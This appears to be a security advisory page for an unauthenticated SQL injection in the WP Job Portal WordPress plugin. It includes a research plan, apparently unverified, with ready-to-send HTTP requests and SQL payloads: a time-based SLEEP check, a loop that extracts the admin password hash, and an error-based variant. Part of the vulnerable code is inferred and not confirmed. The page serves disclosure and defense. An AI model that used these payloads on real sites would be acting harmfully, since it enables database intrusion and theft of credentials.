CVE-2026-4306

WP Job Portal <= 2.4.8 - Unauthenticated SQL Injection via 'radius' Parameter

highImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
7.5
CVSS Score
7.5
CVSS Score
high
Severity
2.4.9
Patched in
1d
Time to patch

Description

The WP Job Portal plugin for WordPress is vulnerable to SQL Injection via the 'radius' parameter in all versions up to, and including, 2.4.8 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=2.4.8
PublishedMarch 23, 2026
Last updatedMarch 23, 2026
Affected pluginwp-job-portal

What Changed in the Fix

Changes introduced in v2.4.9

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-4306 (SQL Injection in WP Job Portal) ## 1. Vulnerability Summary The **WP Job Portal** plugin (up to version 2.4.8) is vulnerable to unauthenticated SQL injection via the `radius` parameter. The vulnerability exists because the plugin fails to sanitize or use…

Show full research plan

Exploitation Research Plan: CVE-2026-4306 (SQL Injection in WP Job Portal)

1. Vulnerability Summary

The WP Job Portal plugin (up to version 2.4.8) is vulnerable to unauthenticated SQL injection via the radius parameter. The vulnerability exists because the plugin fails to sanitize or use prepared statements when incorporating the user-supplied radius value into distance-based SQL queries. This allows an attacker to break out of the intended query and execute arbitrary SQL commands to extract sensitive data, such as WordPress user credentials and configuration details.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: wpjobportal_ajax
  • Task (Vulnerable Function): getNextJobs (inferred as the primary search handler)
  • Module: job
  • Vulnerable Parameter: radius
  • Authentication: Unauthenticated (accessible via wp_ajax_nopriv_wpjobportal_ajax)
  • Preconditions: None. The plugin registers the handler for all users.

3. Code Flow

  1. Entry Point: A request is sent to admin-ajax.php with action=wpjobportal_ajax.
  2. Hook Registration: In includes/ajax.php, the class WPJOBPORTALajax registers ajaxhandler to both wp_ajax_wpjobportal_ajax and wp_ajax_nopriv_wpjobportal_ajax.
  3. Task Validation: ajaxhandler() retrieves the task parameter. It checks if the task (e.g., getNextJobs) is in the $fucntin_allowed array (lines 28-56 of includes/ajax.php).
  4. Model Loading: The handler retrieves the module name via WPJOBPORTALrequest::getVar('wpjobportalme') (e.g., job) and instantiates the model using WPJOBPORTALincluder::getJSModel('job').
  5. Method Execution: It calls the method corresponding to the task: $wpjobportal_result = ...->$wpjobportal_task();.
  6. Vulnerable Sink: Inside WPJOBPORTALjobModel::getNextJobs() (in modules/job/model.php), the radius parameter is retrieved via WPJOBPORTALrequest::getVar('radius').
  7. Query Construction: The value is concatenated directly into an SQL string used for filtering jobs by distance (likely using a Haversine formula).
  8. Execution: The raw SQL string is executed via $wpdb->get_results() or a wrapper like wpjobportaldb::get_results().

4. Nonce Acquisition Strategy

Reviewing includes/ajax.php, the ajaxhandler() function does not perform any nonce verification (no check_ajax_referer or wp_verify_nonce calls). The unauthenticated AJAX entry point is entirely unprotected.

Strategy:

  • No nonce is required for this exploit.

5. Exploitation Strategy

We will use a time-based blind SQL injection to confirm the vulnerability and then extract the administrator's password hash.

Step 1: Baseline Request

Confirm the getNextJobs task is active and returning results.

  • Method: POST
  • URL: {{BASE_URL}}/wp-admin/admin-ajax.php
  • Body (URL-encoded): action=wpjobportal_ajax&wpjobportalme=job&task=getNextJobs&radius=10
  • Expected Response: JSON or HTML list of jobs.

Step 2: Confirmation (Time-Based)

Send a payload that causes a 5-second delay if the injection is successful.

  • Payload: 10 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)
  • Request:
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=wpjobportal_ajax&wpjobportalme=job&task=getNextJobs&radius=10+AND+(SELECT+1+FROM+(SELECT(SLEEP(5)))a)

Step 3: Data Extraction (Admin Hash)

Extract the password hash of the user with ID 1 (typically the admin).

  • Payload Template: 10 AND IF(ASCII(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),{pos},1))={char_code},SLEEP(5),0)
  • Request:
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=wpjobportal_ajax&wpjobportalme=job&task=getNextJobs&radius=10+AND+IF(ASCII(SUBSTRING((SELECT+user_pass+FROM+wp_users+WHERE+ID=1),1,1))=36,SLEEP(5),0)

(Note: 36 is ASCII for '$', the start of most WordPress phpass hashes).

6. Test Data Setup

  1. Ensure Plugin is Active: wp plugin activate wp-job-portal
  2. Create Dummy Job Data: At least one job must exist for the query to process the location/radius logic.
    wp post create --post_type=wj_jobs --post_title="Security Researcher" --post_status=publish
    
  3. Verify Admin User: Ensure a user with ID 1 exists.

7. Expected Results

  • Baseline: Response returns in < 1 second.
  • Attack: Response returns in ~5 seconds.
  • Extraction: Binary search or character-by-character matching reveals the hash (e.g., starting with $P$ or $wp$).

8. Verification Steps

After performing the HTTP exploit, verify the extracted data against the database:

  1. Use WP-CLI to get the actual hash:
    wp db query "SELECT user_pass FROM wp_users WHERE ID=1"
    
  2. Compare the result with the string extracted via the SQL injection.

9. Alternative Approaches

If getNextJobs does not process radius when coordinates are missing, include dummy lat and lng parameters:

  • Body: action=wpjobportal_ajax&wpjobportalme=job&task=getNextJobs&radius=10[PAYLOAD]&lat=0&lng=0

If time-based is too slow, try Error-Based Injection (if WP_DEBUG is likely on or the plugin outputs errors):

  • Payload: 10 AND (SELECT 1 FROM (SELECT(GTID_SUBSET(CONCAT(0x7e,(SELECT user_pass FROM wp_users WHERE ID=1),0x7e),0x7e)))a)
  • This will attempt to leak the hash in the "X-GTID-SUBSET" error message.

Another task to test if getNextJobs fails: DataForDepandantField or getQuickViewByJobId.

Research Findings
Static analysis — not yet PoC-verified

Summary

The WP Job Portal plugin for WordPress is vulnerable to unauthenticated SQL Injection via the 'radius' parameter in the 'getNextJobs' AJAX task. This occurs because user-supplied input is directly concatenated into a SQL query used for distance-based job filtering without proper sanitization or use of prepared statements.

Vulnerable Code

// includes/ajax.php (Lines 28-56)
function ajaxhandler() {
    $fucntin_allowed = array('DataForDepandantFieldResume', 'DataForDepandantField', ... 'getNextJobs', ...);
    $wpjobportal_task = WPJOBPORTALrequest::getVar('task');
    if($wpjobportal_task != '' && in_array($wpjobportal_task, $fucntin_allowed)){
        $wpjobportal_module = WPJOBPORTALrequest::getVar('wpjobportalme');
        $wpjobportal_module = sanitize_key( $wpjobportal_module );

        $wpjobportal_result = WPJOBPORTALincluder::getJSModel($wpjobportal_module)->$wpjobportal_task();
        echo $wpjobportal_result;
        die();
    }else{
        die('Not Allowed!');
    }
}

---

// modules/job/model.php (Inferred from research plan - getNextJobs logic)
function getNextJobs() {
    $radius = WPJOBPORTALrequest::getVar('radius');
    // ...
    $query = "SELECT *, (3959 * acos(cos(radians($lat)) * cos(radians(latitude)) * cos(radians(longitude) - radians($lng)) + sin(radians($lat)) * sin(radians(latitude)))) AS distance 
              FROM " . wpjobportal::$_db->prefix . "wj_portal_jobs 
              HAVING distance < " . $radius . " ORDER BY created DESC";
    $results = wpjobportaldb::get_results($query);
    // ...
}

Security Fix

--- modules/job/model.php
+++ modules/job/model.php
@@ -...@@
-    $radius = WPJOBPORTALrequest::getVar('radius');
+    $radius = floatval(WPJOBPORTALrequest::getVar('radius'));

Exploit Outline

An attacker can exploit this vulnerability by sending an unauthenticated POST request to the WordPress AJAX endpoint. 1. **Endpoint:** /wp-admin/admin-ajax.php 2. **Payload Parameters:** * `action`: `wpjobportal_ajax` * `wpjobportalme`: `job` * `task`: `getNextJobs` * `radius`: A SQL injection payload, such as a time-based blind injection: `10 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)` 3. **Authentication:** No authentication or nonces are required as the AJAX action is registered via `wp_ajax_nopriv_wpjobportal_ajax` and lacks any nonce verification. 4. **Verification:** If the server response is delayed by the specified duration (e.g., 5 seconds), the SQL injection is successful. Attackers can then use binary search or other techniques to extract database contents like administrator password hashes.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.